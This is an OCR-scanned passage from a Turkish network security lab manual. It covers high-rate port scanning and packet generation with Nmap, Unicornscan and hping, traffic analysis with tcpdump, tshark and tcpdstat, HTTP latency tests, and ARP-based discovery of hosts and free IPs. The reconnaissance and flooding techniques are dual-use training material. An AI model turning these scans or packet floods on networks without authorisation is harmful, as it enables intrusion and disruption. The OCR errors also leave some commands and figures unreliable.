[P 192.168.56.101.80 > 192.168.56.1.4501: S 294592896:294592896(0) ack 1362597541

win 5840 <mss 1460,nop,nop,sackOK>

0x0000: 45000030 0000400040064911 c0a8 3865 E.0.@.@.1...8¢e
0x0010: c0a8380100501195118f21805137 96a5 .8.P...1.Q7.
0x0020: 7012 16d0 4db7 0000 0204 05b4 0101 0402 p...M..........

IP 192.168.56.1.4501 > 192.168.56.101.80: . ack 1 win 65535

0x0000: 45000028 53040008006 b609 c0a8 3801 E.(S.@.......8.
0x0010: c0a83865119500505137 96a5118f2181 ..8e...PQ7......
0x0020: 5010 ffff914b 0000 0000 0000 0000 P...K.......

IP 192.168.56.1.4501 > 192.168.56.101.80: P 1:397(396) ack 1 win 65535
0x0000: 4500 01b4 5311 40008006 b47b c0a8 3801 E...S.@....{.8.
0x0010: c0a83865119500505137 96a5 118f 2181 ..8e...PQ7......
0x0020: 5018 ffffc35a 0000 4745 5420 2f62 6761 P...Z.GET./bga
0x0030: 2d63 7466 3420 4854 5450 2f31 2e31 0d0a -ctf4.HTTP/1.1..
0x0040: 486f7374 32203139 322e 3136 382e 3536 Host:.192.168.56
0x0050: 2e3130310d0a 55736572 2d41 6765 6e74 .101..User-Agent
0x0060: 3a20 4d6f7a69 6¢6¢612f352e 3020 2857 :.Mozilla/5.0.(W
0x0070: 696e 646f7773 3b20553b 2057 696e 646f indows;.U;.Windo
0x0080: 7773 204e 5420 352e 313b 2074 723b 2072 ws.NT.5.1;.tr;.r

0x0090: 763a312e 392e 322e 313229204765 636b v:1.9.2.12).Geck
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Kaydedilen trafik dosyas1 L7 bilgileri iceriyorsa buradaki bilgilerin de anonimlestirilmesi

gerekir. -fixlen=pad parametresi kullanarak paketleirn veri kisimlar1 anlamsiz hale

getirilebilir.
Detayli paket anonimlesirme icin tcprewrite ana sayfasi ziyaret edilebilir.

e http://tcpreplay.synfin.net/wiki/tcprewrite

Uygulama No: BGA-UAG-56

Nmap, Unicornscan ve Hping ile Performans Testleri

Amag: Cesitli araclarla performans testi uygulamasi

Zaman zaman ag/glivenlik sistemlerine test yaparken iretici firmalarin su tip istekleri

olabiliyor:”_saniyede 1000, 10000, 100.000 paket gonderebilir misiniz?”

Boylece test edilen cihazin, sistemin hangi asamada sikinti yasadigi rahatlikla
bulunabiliyor. Cesitli protokoller i¢in paket tiretiminde genellikle Hping'i kullaniyorum
fakat hping’in pps(packet per second) ayarlamasi tam manasiyla ¢alismiyor, ya da benim
sistemlerinde verim alamiyorum. Hping yerine zaman zaman kullandigim iki araci da
deneyerek sonucglarmmi paylasayim istedim. Evet asagidaki li¢ arag¢ ile istediginiz
protokolde, istediginiz oranda paket iireterek sistemlerinizi test edebilirsiniz.(Bu siteye

dogru yapmayin testlerinizi:)
Nmap ile saniyede istenilen degerde paket iiretimi

Nmap’in -min-rate ve -max-rate segenekleri bu ise yarar. Port tarama yaparken es

zamanli ne kadar paket gonderebileceginizi bu secenekleri ayarlayarak belirleyebilirsiniz.

Mesela es zamanli olarak 10.000 paket gondererek 65.535 portu taramak isteyelim, sonug

asagidaki gibi olacaktir.

# time nmap -min-rate 10000 -max-rate 10001 localhost -vvv -PN -p1-65535

Starting Nmap 4.90RC2 ( http://nmap.org ) at 2009-12-26 11:53 EST
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Warning: Hostname localhost resolves to 2 IPs. Using 127.0.0.1.

Initiating SYN Stealth Scan at 11:53

Scanning localhost (127.0.0.1) [65535 ports]

Completed SYN Stealth Scan at 11:53, 6.49s elapsed (65535 total ports)

Hostlocalhost (127.0.0.1) is up (0.0000030s latency).

Scanned at 2009-12-26 11:53:15 EST for 7s

Interesting ports on localhost (127.0.0.1):

Notshown: 65525 closed ports

PORT STATE SERVICE

21/tcp
22 /tcp
25/tcp
53/tcp

80/tcp

open ftp
open ssh
open smtp
open domain

open http

587/tcp open submission

953 /tcp open rndc

5432 /tcp open postgresql

8118/tcp open privoxy

9050/tcp open tor-socks

Read data files from: /usr/local/share/nmap

Nmap done: 1 IP address (1 hostup) scanned in 6.61 seconds

real

Raw packets sent: 65535 (2.884MB) | Rcvd: 131084 (5.506MB)

0m6.614s
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user 0mO0.116s

sys  0m0.012s

gorulecegilizere saniyede 10.000 paketten 6~saniye sturiyor 60.000 portu taramak, yani

Nmap ile pps liretecimiz diizgiin ¢alisiyor.

Ayni testi saniyede 1000 paket gonderecek sekilde ayarlarsak zaman da degissecektir.

root@bt:~# time nmap -min-rate 1000 -max-rate 1001 localhost -vvv -PN -p1-
65535

Starting Nmap 4.90RC2 ( http://nmap.org ) at 2009-12-26 11:53 EST
Warning: Hostname localhost resolves to 2 IPs. Using 127.0.0.1.
Initiating SYN Stealth Scan at 11:53

Scanning localhost (127.0.0.1) [65535 ports]

Completed SYN Stealth Scan at 11:54, 65.47s elapsed (65535 total ports)
Hostlocalhost (127.0.0.1) is up (0.0000040s latency).

Scanned at 2009-12-26 11:53:30 EST for 65s

Interesting ports on localhost (127.0.0.1):

Notshown: 65525 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

25/tcp open smtp

53/tcp open domain

80/tcp open http
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587 /tcp open submission
953/tcp open rndc
5432 /tcp open postgresql
8118/tcp open privoxy
9050/tcp open tor-socks
Read data files from: /usr/local/share/nmap
Nmap done: 1 IP address (1 hostup) scanned in 65.59 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 131084 (5.506MB)
real 1m5.596s
user 0m0.120s

sys  0m0.000s

# time nmap -min-rate 30000 -max-rate 30000 localhost -vvv -PN -p1-65535
Starting Nmap 4.90RC2 ( http://nmap.org ) at 2009-12-26 11:56 EST

Warning: Hostname localhost resolves to 2 IPs. Using 127.0.0.1.

Initiating SYN Stealth Scan at 11:56

Scanning localhost (127.0.0.1) [65535 ports]

Completed SYN Stealth Scan at 11:56, 2.59s elapsed (65535 total ports)

Host localhost (127.0.0.1) is up (0.0000080s latency).

Scanned at 2009-12-26 11:56:26 EST for 3s

Interesting ports on localhost (127.0.0.1):

Not shown: 65525 closed ports
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PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

25/tcp open smtp

53/tcp open domain

80/tcp open http

587/tcp open submission

953/tcp open rndc

5432/tcp open postgresql

8118/tcp open privoxy

9050/tcp open tor-socks

Read data files from: /usr/local/share/nmap

Nmap done: 1 IP address (1 host up) scanned in 2.71 seconds
Raw packets sent: 65555 (2.884MB) | Revd: 131083 (5.506MB)

real 0mZ2.720s

user 0m0.476s

sys  0m0.948s

Unicornscan ile PPS belirtme

Unicornscan ile saniyede gonderilecek paket sayisini -r ya da —pps se¢enegi kullanarak

basarabiliriz.

Saniyede 1000 paket gondererek port tarama icin(ayn1 zamanda hedef sisteme saniyede

1000 paket gondermeye yarar)
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~# time unicornscan -vv -pps 1000 localhost:1-65535 -ilo
adding 127.0.0.1/32 mode ‘TCPscan’ ports ‘1-65535" pps 1000
using interface(s) lo

scaning 1.00e+00 total hosts with 6.55e+04 total packets, should take a little longer than 1
Minutes, 12 Seconds

drone type Unknown on fd 4 is version 1.1

drone type Unknown on fd 3 is version 1.1

scan iteration 1 out of 1

using pcap filter: ‘dst 127.0.0.1 and ! src 127.0.0.1 and (tcp)’

using TSC delay

sender statistics 973.5 pps with 65535 packets sent total

listener statistics 0 packets recieved 0 packets droped and 0 interface drops
real 1m15.778s

user 1m6.452s

sys  0m0.764s

goriilecegitizere 1000 paket olmasa da pps degerimiz 973’e ayarlanmis durumda.
Hpingile istege gore PPS

Hping ile paket tiretirken -i parametresini kullanarak gonderilecek paketler arasinda ne
kadarlik bekleme yapilacagi belirtilebilir. -i ‘den sonra -u kullanirsak
mikrosaniye(saniyenin 100.000 de biri) degeri olur. Biz de saniy eile mikro saniye
arasindaki farki kullanarak Hping’'e ne saniyede ne kadar paket olusturmasi gerektigini

zoyleyebiliriz.
Saniyede 10 paket gondermek icin

#hping -iu10000 -S -p 99 localhost
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Saniyede 1000 paket gondermekistersek -i100 degerini kullanabiliriz.

#hping-S -p 0 192.168.2.23 -c 1000 -i u100

Sonug: Diizgiin degerde pps lretimi i¢in en idel ara¢ simdilik Nmap goziikiiyor ama

Hping’in esnekligini de unutmamak gerekir.

Uygulama No: BGA-UAG-57

Paket Analizi, Protokol Analizi Kavramlari

Amac: Paket ve Protokol Analizi Kavramlarinin Anlasilmasi
Paket ve protokol birbirleri yerine sik kullanilan ama gergekte birbirinden farklh iki
kavramdir. Paket kavrami protokol kavramina gore daha kusaticidir(paket>protokol).

Paket'den kastimiz TCP/IP aglarda tiim iletisimin temelidir. Protokol ise paketlerin

detayidir.

Gonderip aldigimiz mailler, web sayfalarina girisimiz, mesaj gonderisimiz hatta 3g
kullaniyorsak telefon konusmalarimiz vs arka planda hep paketler vasitasiyla kotarilr.

Bu paketleri gormek Sniffer ad1 verilen programlar vasitasiyla miimkiin olur.

Bir de bu paketler icerisinde gidip gelen protokoller vardir. Mesela web sayfalarina giris
icin HTTP, 3G ya da GPRS baglantilar1 i¢cin GTP, mail igin SMTP . Bir de bunlar icin gtivenli
ulasim saglayan alt seviye protokoller vardir TCP, IP, UDP gibi. Tiim bu protokoller
iletisime ge¢mek isteyen uglar arasinda azami standartlar1 belirlemek icin

distinilmistiir.

Paket ve protokol analizi icin sniffer aracglar1 kullanilir. Baz1 snifferlar kisith protokol
analizi yapabilirken b az1 snifferlar detayli paket ve protokol analizi yapmaya olanak
saglar. Kisith paket ve protokol analizine imkan saglayan sniffer olarak tcpdump’y,

gelismis paketve protol analizine 6rnek olarak da Wireshark/Tshark’i 6rnek verebiliriz.
Sniffer araciligiyla paket analizi

tcpdump ile HTTP trafigi analizi
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~# tcpdump -i ethQ -ttttnn tcp port 80 -vv
tcpdump: listening on ethO0, link-type EN10MB (Ethernet), capture size 96 bytes

2009-09-08 05:47:23.057285 IP (tos 0x0, ttl 64, id 28117, offset 0, flags [DF], proto TCP
(6), length 52) 10.200.169.163.45196 > 64.233.169.147.80: S, ck sum  Oxfdbf
(correct),906286265:906286265(0) win 5840 <mss 1460,nop,nop,sackOK,nop,wscale 6>

2009-09-08 05:47:23.191048 IP (tos 0x0, ttl 52,id 58446, offset 0, flags [none], proto TCP
(6), length 52) 64.233.169.147.80 > 10.200.169.163.45196: S, cksum 0x535f
(correct), 2146314999:2146314999(0) ack 906286266 win 5720 <mss
1430,nop,nop,sackOK,nop,wscale 6>

2009-09-08 05:47:23.191090 IP (tos 0x0, ttl 64, id 28118, offset 0, flags [DF], proto TCP

(6), length 40) 10.200.169.163.45196 > 64.233.169.147.80: ., ck sum OxaaOe
(correct), 1:1(0) ack 1 win 92

2009-09-08 05:47:23.191924 1P (tos 0x0, ttl 64, id 28119, offset 0, flags [DF], proto TCP
(6), length 239) 10.200.169.163.45196 > 64.233.169.147.80: P 1: 200(199)ack
1 win 92

2009-09-08 05:47:23.325691 IP (tos 0x0, ttl 52,id 58447, offset 0, flags [none], proto TCP
(6), length 40) 64.233.169.147.80 > 10.200.169.163.45196: ., cksum 0xa938
(correct), 1:1(0) ack 200 win 107

2009-09-08 05:47:23.328801 IP (tos 0x0, ttl 52,id 58448, offset 0, flags [none], proto TCP
(6), length 608) 64.233.169.147.80 > 10.200.169.163.45196: P 1:569(568)
ack 200 win 107

2009-09-08 05:47:23.328818 IP (tos 0x0, ttl 64, id 28120, offset 0, flags [DF], proto TCP
(6), length 40) 10.200.169.163.45196 > 64.233.169.147.80: ., ck sum Oxa6fe
(correct), 200:200(0) ack 569 win 109

2009-09-08 05:47:23.328826 IP (tos 0x0, ttl 52,id 58449, offset 0, flags [none], proto TCP
(6), length 40) 64.233.169.147.80 > 10.200.169.163.45196: F, cksum Oxa6ff
(correct), 569:569(0) ack 200 win 107
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(correct), 200:200(0) ack 570 win 109

2009-09-08 05:47:23.368014 IP (tos 0x0, ttl 64, id 28121, offset 0, flags [DF], proto TCP
(6), length 40) 10.200.169.163.45196 > 64.233.169.147.80: ., ck sum Oxa6fd

Yukardaki ¢iktiya bakilacak olursa her bir satir bir paketi issaret eder. Satirlar incelenirse

HTTP protokoline ait bilgi edinilemez, sadece TCP protokoliine ait bazi bilgiler elde
edilebilir.

Bunun sebebi analiz icin kullandigimiz yazilimin(tcpdump) kisith protokol analizine
sahip olmasidir(tcpdump tcp, ip, udp vs gibi alt seviye protokollere ait analiz imkani
sunar). Bizim goérmek istedigimiz HTTP’e ait bashk bilgileri ise tcpdump ile

goruntilenemez. Bunun icin Wireshark/Tshark kullanmamiz gerekir.

Sniffer araciligiyla protokol analizi

Asagidaki ciktilar Tshark sniffer programindan alinmistir. Goriilecegi tizere bir HTTP

paketine ait tiim detaylar bulunmaktadir.

Capturing on eth0

Len: 199
Source port: 56537 (56537)
Destination port: http (80)
Sequence number: 1 (relative sequence number)
[Nextsequence number: 200 (relative sequence number)]
Acknowledgement number: 1 (relative ack number)
Header length: 20 bytes

Flags: 0x18 (PSH, ACK)

Transmission Control Protocol, Src Port: 56537 (56537), Dst Port: http (80), Seq: 1, Ack: 1,
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0..... = Congestion Window Reduced (CWR): Not set
.0.. ... = ECN-Echo: Not set

.0. ... = Urgent: Not set

...1 ....= Acknowledgment: Set

... 1...= Push: Set

... .0.. = Reset: Notset

... .0.=Syn: Notset

....... 0 = Fin: Not set

Window size: 5888 (scaled)

Checksum: 0x9f9e [incorrect, should be 0xf736 (maybe caused by "TCP checksum
offload"?)]

[Good Checksum: False]
[Bad Checksum: True]
Hypertext Transfer Protocol
GET / HTTP/1.0\r\n
Request Method: GET
Request URI: /
Request Version: HTTP/1.0
Host: www.google.com\r\n
Accept: text/html, text/plain, text/css, text/sgml, */*;q=0.01\r\n
Accept-Encoding: gzip, bzip2\r\n
Accept-Language: en\r\n

User-Agent: Lynx/2.8.6rel.4 libwww-FM/2.14\r\n
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\r\n

Uygulama No: BGA-UAG-58

Yerel Agda Kullanilan Protokol Oranlarini Belirleme
Amag: Agda hangi protokollerin ne kadar kullanildiginin belirlenmesi

Ozellikle biiyiik 6l¢cekli aglarda belirli portlardaki(SMTP, TCP/445, TCP/139, UDP/1433)
trafigin yuksek olmasi anormallik sayilabilir. TCP/25'in yogun olmasi spam alameti
sayilabilir, benzer sekilde TCP/445 portunun yogun kullanimi aginizdak zombilerin cirit

attigina isareteder.

Ag trafiginde protokol analizi yapmak i¢cin kullanilan en saghkl yontem Netflow’dur.
Netflow Cisco’ya 6zel olsa da piyasada ayni ismi ya da benzeri ismi tasiyan cesitli flow
yazilimlar1 bulunmaktadir. Fakat flow yazilimlarinin ¢alismasi i¢in network cihazlarinda
ayar gerektirir ve baz1 durumlarda flow agmak ydnlendirici sistemleri zor durumda
birakir(DDOS saldirilarinda vs). Flow yerine kullanilanilabilecek diger bir yontem de

trafigini SPAN edip bir sniffer aracilifiyla analiz etmek.

Bu is icin en ideal yazihm Argus’tur. Fakat bazen daha basit bir araca ihtiyacimiz olur.
Mesela amacimiz sniffer araciigiyla kaydedilmis paketleri inceleyerek ag trafiginde
protokolkullanim oraninigérmekse argus yerine tcpdstat gibi tek isi bu olan basit bir arag

kullanabiliriz.
tcpdstat ile trafikden ne elde edilir?

Hangi port(protokol)un ne oranda kullanildigi bilgisi, hangi porttan kac MB veri transferi
yapimis, ka¢ paket gecmis, agimizda yaygin kullanilan paket boyutu gibi bilgiler

alinabilir.

Bir sniffer aracihgiyla kaydedilmis trafigi tcpdstat’a okutarak yukarda saydigim

maddeleri gésteren rapor alabiliriz.

[root@sniffme]# tcpdstat -n 10gb.pcap
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DumpFile: 10gb.pcap
FileSize: 32544.19MB

Id: 200909081156

StartTime: Tue Sep 8 11:56:09 2009

EndTime: Tue Sep 8 12:04:35 2009

TotalTime: 505.74 seconds

TotalCapSize: -1013.45MB CapLen: 1514 bytes

# of packets: 51749994 (31754.55MB)

AvgRate: 526.72Mbps stddev:120.16M

### Packet Size Distribution (including MAC headers) ###

<<

[ 32- 63]: 15647286

[ 64- 127]: 7963761

[ 128- 255]:3286917

[ 256- 511]:2256683

[ 512-1023]: 3164325
[ 1024-2047]: 19431022
>>>>

### Protocol Breakdown ###
<<

protocol packets

[0]total 51749994 (100.00%)

33297058195 (100.00%) 643.42
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[1] ip 51748070 (100.00%) 33296937859 (100.00%) 643.44
[2] tcp 44206963 (85.42%) 30306798074 (91.02%) 685.57
[3] http(s) 21903649 (42.33%) 24386417917 (73.24%) 1113.35
[3] http(c) 15599921 (30.14%) 2752951633 ( 827%) 17647
[3] squid 635085 ( 1.23%) 498196791 ( 1.50%) 784.46

[3] smtp 633754 ( 1.22%) 268040520 ( 0.80%) 422.94

[3] nntp 21 ( 0.00%) 1292 ( 0.00%) 61.52

[3] ftp 173167 ( 0.33%) 156130274 ( 0.47%) 901.62

[3] pop3 707374 ( 1.37%) 285657875 ( 0.86%) 403.83

[3] imap 78267 ( 0.15%) 30131903 ( 0.09%) 384.99

[3] telnet 11854 ( 0.02%) 3635518 ( 0.01%) 306.69

[3] ssh 49721 ( 0.10%) 5664126 ( 0.02%) 113.92

[3] dns 652 ( 0.00%) 43052 ( 0.00%)  66.03

[3] bgp 202 ( 0.00%) 64050 ( 0.00%)  317.08

[3] napster 89 ( 0.00%) 13020 ( 0.00%) 146.29

[3] realaud 1995 ( 0.00%) 821605 ( 0.00%) 411.83

[3] rtsp  88678( 0.17%) 77046679 ( 0.23%) 868.84

[3] icecast 16180 ( 0.03%) 6264020 ( 0.02%) 387.15

[3] hotline 492 ( 0.00%) 31158 ( 0.00%)  63.33
[3] other 4305855 ( 8.32%) 1835686221 ( 551%)  426.32
[2] udp 3436128 ( 6.64%) 1196791303 ( 3.59%)  348.30
[3] dns 366550 ( 0.71%) 46654438 ( 0.14%) 127.28

[3] mcast 1588 ( 0.00%) 98456 ( 0.00%)  62.00
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[3] realaud 97084 ( 0.19%) 21501796 ( 0.06%) 221.48

[3] halflif 59362 ( 0.11%) 9047215 ( 0.03%) 152.41

[3] starcra 17 ( 0.00%) 2173 ( 0.00%) 127.82
[3] everque 48 ( 0.00%) 5712 ( 0.00%) 119.00
[3] unreal 7 ( 0.00%) 1571 ( 0.00%) 22443

[3] quake 12540 ( 0.02%) 2414996 ( 0.01%) 192.58
[3] cuseeme 6 ( 0.00%) 444 ( 0.00%) 74.00
[3] other 2889277 ( 5.58%) 1106333936 ( 3.32%)  382.91
[2] icmp 26019 ( 0.05%) 4367139 ( 0.01%) 167.84
[2] ipsec 3983336 ( 7.70%) 1756154718 ( 5.27%)  440.88
[2] ip6 1192 ( 0.00%) 356382 ( 0.00%) 298.98
[2] other  94432( 0.18%) 32470243 ( 0.10%) 343.85

[2] frag 62971 ( 0.12%) 72852344 ( 0.22%) 1156.92

>>>>

Uygulama No: BGA-UAG-59

Web Sunuculara Ydnelik Performans (Gecikme) Ol¢iimii

Amacg: Web sunucularinda latency 6l¢iimii

Zaman zaman web sunucularimiza performans testleri yaparak kapasitlerini 6l¢iiyoruz
Performans testleri esnasinda web sunucularin yiik durumu, hizmet kalitesi ve disardan
baglanan kullanicilara yasattigi latency degerlerini 6l¢mek gerekiyor. Latency harici diger
degerler sistem tizerinden snmp vs ile alinabiliyor, latency 6l¢imi i¢in networkun
disindan birilerinden siteye girmelerini isteyip yavaslk var mi sorusu sayisaldegerlerden

uzak oldugu icin pekisime yaramiyordu.Kisa bir arastirmayla bu konuda kullanilabilecek
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iki ara¢c buldum ve inceledim. Araclardan biri http_ping digeri de daha kapsaml testlerde

kullanilabilecek bir arag¢ olan echoping

Http_pingile latency testleri

# http_ping -count 5 -interval 5 http://www.turkcell.com.tr

219 bytes from http://www.turkcell.com.tr: 24.088 ms (11.618c/12.458r/0.012d)
219 bytes from http://www.turkcell.com.tr: 23.424 ms (10.788c/12.621r/0.015d)
219 bytes from http://www.turkcell.com.tr: 17.003 ms (8.413¢/8.577r/0.013d)
219 bytes from http://www.turkcell.com.tr: 20.625 ms (9.113¢/11.501r/0.011d)

219 bytes from http://www.turkcell.com.tr: 20.398 ms (8.221c/12.165r/0.012d)

— http://www.turkcell.com.tr http_ping statistics —

5 fetches started, 5 completed (100%), 0 failures (0%), 0 timeouts (0%)

total min/avg/max =17.003/21.1076/24.088 ms

connect min/avg/max = 8.221/9.6306/11.618 ms

response min/avg/max =8.577/11.4644/12.621 ms

data min/avg/max =0.011/0.0126/0.015 ms

Echopingile latency testleri

[root@mail ~]# echoping -v -n 5-w 3 -R -D -h /anasayfa www.turkcell.com.tr
This is echoping, version 6.0.0.

Trying to connect to internet address 212.252.168.225 80 to transmit 103 bytes...
Trying to send 256 bytes to internet address 212.252.168.225...

Connected...

TCP Latency: 0.005898 seconds

Sent (103 bytes)...
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Application Latency: 0.044271 seconds
12781 bytes read from server.

Elapsed time: 0.059465 seconds
Trying to connect to internet address 212.252.168.225 80 to transmit 103 bytes...
Trying to send 256 bytes to internet address 212.252.168.225...
Connected...

TCP Latency: 0.004449 seconds

Sent (103 bytes)...

Application Latency: 0.050749 seconds

12779 bytes read from server.

Elapsed time: 0.068128 seconds

Trying to connect to internet address 212.252.168.225 80 to transmit 103 bytes...
Trying to send 256 bytes to internet address 212.252.168.225...
Connected...

TCP Latency: 0.013045 seconds

Sent (103 bytes)...

Application Latency: 0.042985 seconds

12781 bytes read from server.

Elapsed time: 0.060604 seconds

Trying to connect to internet address 212.252.168.225 80 to transmit 103 bytes...
Trying to send 256 bytes to internet address 212.252.168.225...
Connected...

TCP Latency: 0.004867 seconds
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Sent (103 bytes)...

Application Latency: 0.044789 seconds

12781 bytes read from server.

Elapsed time: 0.053972 seconds

Trying to connect to internet address 212.252.168.225 80 to transmit 103 bytes...
Trying to send 256 bytes to internet address 212.252.168.225...
Connected...

TCP Latency: 0.003864 seconds

Sent (103 bytes)...

Application Latency: 0.056953 seconds

12779 bytes read from server.

Elapsed time: 0.065896 seconds

Minimum time: 0.053972 seconds (4743 bytes per sec.)

Maximum time: 0.068128 seconds (3758 bytes per sec.)

Average time: 0.061613 seconds (4155 bytes per sec.)

Standard deviation: 0.031128

Median time: 0.044271 seconds (5783 bytes per sec.)

http_ping’in detay kullanimi i¢in man http_ping komutu kullanilabilir.
man http_ping

http_ping(1) http_ping(1)

NAME

http_ping - measure HTTP latency
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SYNOPSIS

http_ping [-countn] [-interval n] [-quiet] [-proxy host:port] url

DESCRIPTION

http_ping runs an HTTP fetch every few seconds, timing how long it

takes.

Sample run:

% http_ping http://www.example.com/

7816 bytes from http://www.example.com/: 246.602 ms (9.923¢/23.074r/213.605d)
7816 bytes from http://www.example.com/: 189.997 ms (11.619¢/22.971r/155.407d)
7816 bytes from http://www.example.com/: 190.463 ms (8.994¢/25.091r/156.378d)
7816 bytes from http://www.example.com/: 190.07 ms (9.234c/23.9r/156.936d)
7816 bytes from http://www.example.com/: 190.706 ms (10.142¢/46.579r/133.985d)
~C

— http://www.example.com/ http_ping statistics —

5 fetches started, 5 completed (100%), 0 failures (0%), 0 timeouts (0%)

total min/avg/max =189.997/201.568/246.602 ms

connect min/avg/max = 8.994/9.9824/11.619 ms

response min/avg/max = 22.971/28.323/46.579 ms

data min/avg/max =133.985/163.262/213.605 ms

OPTIONS

-quiet Only display the summary info atthe end.

-proxy Specifies a proxy hostand portto use.
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SEE ALSO

http_load(1), http_get(1), ping(8)

Uygulama No: BGA-UAG-60

Yerel Aglarda Kullanilmayan IP Adreslerinin Tespiti

Amag: Agda kullanilmayan(bos) ip adreslerini belirlemek

Bulundugumuz agda DHCP kullanilmiyorsa ya da DHCP lizerinden bize ip verilmiyorsa
aga dahil olabilmek icin bos bir ip adresi bulup kendimize atamamiz gerekir. Bu durum
daha ¢ok kablosuz aglarda yasanir. bir aga L2 seviyesinde dahil oldugumuzda(kablolu ya
dakablosuz) agdaki ip araligini ve sonrasindabosip adreslerini bulmak i¢cin asagidaki gibi

bir yontem izlenebilir.

Oncelikle agdaki ip blogunun bulunmasi gerekir. Bunun icin tcpdump gibi bir ag
dinleyicisi(sniffer) kullanabiliriz. Aglardaki ARP ve bazi UDP paketleri brodcast olacaktir.
Biz de L2 seviyesinde aga dahil oldugumuzdan bu broadcast paketleri gorebiliriz. Agda

goriinen broadcast paketlerden de hangi ip araliklarinin kullanildig1 bilgisine ulasabiliriz.

root@home-labs:~# tcpdump -i eth1 -tttnn udp or arp

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes
000000 arp who-has 192.168.2.22 tell 192.168.2.1

000133 arpreply 192.168.2.22 is-at 00:1f:d0:5a:1b:96

32.487744 arp who-has 192.168.2.222 tell 192.168.2.23

1. 000918 arp who-has 192.168.2.222 tell 192.168.2.23
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1.000618 arp who-has 192.168.2.222 tell 192.168.2.23

3.277225 arp who-has 192.168.162.10 tell 192.168.162.129

198024 arp who-has 192.168.162.10 tell 192.168.162.129

802725 IP 192.168.2.20.138 > 192.168.2.255.138: NBT UDP PACKET(138)
197820 arp who-has 192.168.162.10 tell 192.168.162.129

802624 1P 192.168.2.20.138 >192.168.2.255.138: NBT UDP PACKET(138)

Yukaridaki tcpdump ciktisi incelenecek olursa agda kullanilan IP adres araliklar1 tespit

edilebilir. Ornek: 192.168.2 blogu, 192.168.162. blogu gibi.

Hani ip araligimin kullanildigini bulduktan sonra sira bos ip adreslerini bulmaya geldi.

Bunun i¢in arping aracini kullaniyoruz.

Basitge for a in {1..26};do arping -c1 192.168.2.8algrep “Unicast”;donekomutu ya da
http://www.digininja.org/files/find_ip_1.0.tar.bz2 adresindeki mini scripti bize agdaki

hangi ip adreslerinin kullanimda hangilerinin bosta olacagini sdyleyecektir.

root@home-labs:~# for a in {1..26};do arping -c1 192.168.2.$a|grep

“Unicast”;done
Unicast reply from 192.168.2.1 [00:1A:2A:A7:22:5C] 1.168ms
Unicast reply from 192.168.2.21 [00:1D:E0:17:C2:CB] 5.776ms

Unicast reply from 192.168.2.22 [00:1F:D0:5A:1B:96] 0.792ms

Yukardaki ¢iktiya gore 192.168.2.1, 192.168.2.21 ve 192.168.2.22 ip adresleri bu agda

kullanimda gozikiiyor.
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Tek satirhk script yerine biraz daha diizenli ¢ikti veren find_ip scriptini kullanmak

istersek asagidaki gibi ¢ikt1 verecektir.

Not:Scriptte ufak diizenlemeler yapilmasi gerekiyor.(arping komutunun gectigi satirdaki

-0 parametresinin kaldirilmasi gibi)

find_ip scriptinin sonucu

root@guvenliyim:~/find_ip# bash find_ip.sh -c 2 -s 10.10.10
10.10.10.1 Used
10.10.10.2 Used
10.10.10.3 Used
10.10.10.4 Free
10.10.10.5 Free
10.10.10.6 Free
10.10.10.7 Free
10.10.10.8 Used
10.10.10.9 Free
10.10.10.10 Free
10.10.10.11 Free
10.10.10.12 Free
10.10.10.13 Free
10.10.10.14 Free

10.10.10.19 Used
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10.10.10.20 Free

Uygulama No: BGA-UAG-61

Arping Kullanarak L2 Seviyesinde Paket islemleri
Amag: arping ile L2 seviyesinde paketislemleri

Network giivenlik testlerinde bazen bulundugunuz agin yapisini ¢ikarmak i¢in ip katmani
yeterli olmaz ya da bu katmana dogrudan ulasiminiz olmayabilir. Bu durumda L2
seviyesinde cesitli paketler gondererek agin yapisin1 c¢ikarabiliriz. L2 seviyesinde
gonderebilecegimiz paketler ARP’a dayahdir. L2'deki protokoller kullanilarak basitce
agdaki ip adreslerinin hangi mac adresine sahip oldugunu, bir mac adresinin ip adresi vs

gibi bilgiler edinilebilir.
Layer2'de bu tip islemleri yapmak i¢in sik kullandigim bir arag var: arping, kisaca bu arag
kullanilarak neler yapilabilir bir bakalim.

Arping araci neise yarar?

Arping adindan da anlasilacagi gibi Layer 2 seviyesinde ping atmaya yarayan bir aractir.
Arping kullanarak Layer 2 seviyesinde bir makinenin a¢ik olup olmadigi agdaki ip
cakismalari, bir ipnin agda kullamilip kullanimadig1 gibi bilgiler edinilebilir. Aym
zamanda arping kullanilarak gratious arp paketleri tUretilebilir. Gratious paketlerle bir ip

adresine ait mac adresi tiim yerel agdaki sistemlerde giincellenebilir.
Arping ARP Request ve Reply paketleri kullanir.

Not: arping’i diger 13 ping araglarindan ayiran énemli 6zelligi ag arabirimi lizerinde ip

adresi olmasa dahi ping islemlerini gerceklestirebilir(yani L2 de ¢alisabilir).
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Basit arping kullanimi

arping’in en basit kullanimi agdaki bir ip adresinin L2 seviyesinde MAC adresinin

alinmasidir. Bunu asagidaki komutla gercekleyebiliriz.

root@home-labs:~# arping 192.168.2.1 -c 1

ARPING 192.168.2.1 from 192.168.2.23 eth0

Unicast reply from 192.168.2.1 [00:1A:2A:A7:22:5C] 1.860ms
Sent 1 probes (1 broadcast(s))

Received 1 response(s)

Yukardaki komuta ait tcpdump ¢iktisi;

root@home-labs:~# tcpdump -i eth1 -tttnn arp

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes
000000 arp who-has 192.168.2.1 (ff:ff:ff:f:ff:ff) tell 192.168.2.23

000918 arpreply 192.168.2.1 is-at 00:1a:2a:a7:22:5c

Kisaca yukardaki arp paketi brodcast paket olarak 192.168.2.1 ip adresinin kim oldugunu

sorguladi. Bu ip adresinilizerinde barindiran sistem cevap olarak MAC adresini dondii.

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[UYGULAMALI AG GUVENLIGI EGiTiMi LAB CALISMALARI]

Agdaki IP Cakismalarinin Bulunmasi
Agimizda IP cakismasindan siipheleniyorsaniz arping kullanarak emin olabilirsiniz.

arping -D IP_Adresi

root@home-labs:~# arping -l eth1l -D 192.168.2.20
000000 arp who-has 192.168.2.20 (ff:ff:ff:ff:ff:ff) tell 0.0.0.0
000140 arpreply 192.168.2.20 is-at 00:0c:29:06:df:e4

